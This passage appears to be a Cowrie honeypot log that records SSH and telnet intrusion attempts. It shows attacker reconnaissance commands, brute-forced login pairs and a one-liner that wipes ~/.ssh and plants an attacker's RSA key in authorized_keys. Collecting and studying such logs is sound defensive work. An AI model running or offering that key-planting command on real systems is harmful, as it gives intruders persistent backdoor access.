{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:06.829537Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:06.938719Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:07.191199Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:07.194831Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:07.302891Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:07.548457Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:07.551512Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:07.657242Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:07.909534Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:07.912965Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:08.022561Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:08.267107Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:08.270625Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:08.377396Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:08.634050Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:08.637077Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:08.744742Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:08.995454Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:08.998782Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:09.106845Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:09.378785Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:09.382316Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:09.488807Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:09.736744Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:09.740559Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:09.849086Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:10.103388Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:10.107388Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:10.216317Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:10.461287Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:10.463771Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:10.569940Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:10.575670Z","src_ip":"185.91.116.105","session":"3c4e98c0bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":37038,"dst_ip":"159.203.135.109","dst_port":23,"session":"310492562528","protocol":"telnet","message":"New connection: 162.248.7.67:37038 (159.203.135.109:23) [session: 310492562528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:12.835749Z"}
{"eventid":"cowrie.session.closed","duration":31.306946754455566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:23.970745Z","src_ip":"162.248.7.67","session":"e2ccfb29a82f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":48250,"dst_ip":"159.203.135.109","dst_port":22,"session":"51f4ff34ea28","protocol":"ssh","message":"New connection: 43.157.98.118:48250 (159.203.135.109:22) [session: 51f4ff34ea28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:32.536276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:32.540305Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:32.626175Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin123","message":"login attempt [admin/adminadmin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:33.304663Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:33.516229Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:33.519448Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:33.522896Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:33.614041Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:33.830036Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:33.833657Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:33.927705Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:33.931107Z","src_ip":"43.157.98.118","session":"51f4ff34ea28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":57032,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaa42f1b29af","protocol":"ssh","message":"New connection: 43.157.98.118:57032 (159.203.135.109:22) [session: eaa42f1b29af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:34.015598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:34.021142Z","src_ip":"43.157.98.118","session":"eaa42f1b29af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:34.112778Z","src_ip":"43.157.98.118","session":"eaa42f1b29af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:34.513306Z","src_ip":"43.157.98.118","session":"eaa42f1b29af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:35.608842Z","src_ip":"43.157.98.118","session":"eaa42f1b29af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":57040,"dst_ip":"159.203.135.109","dst_port":22,"session":"4435a6989a4d","protocol":"ssh","message":"New connection: 43.157.98.118:57040 (159.203.135.109:22) [session: 4435a6989a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:35.694555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:01:35.699569Z","src_ip":"43.157.98.118","session":"4435a6989a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS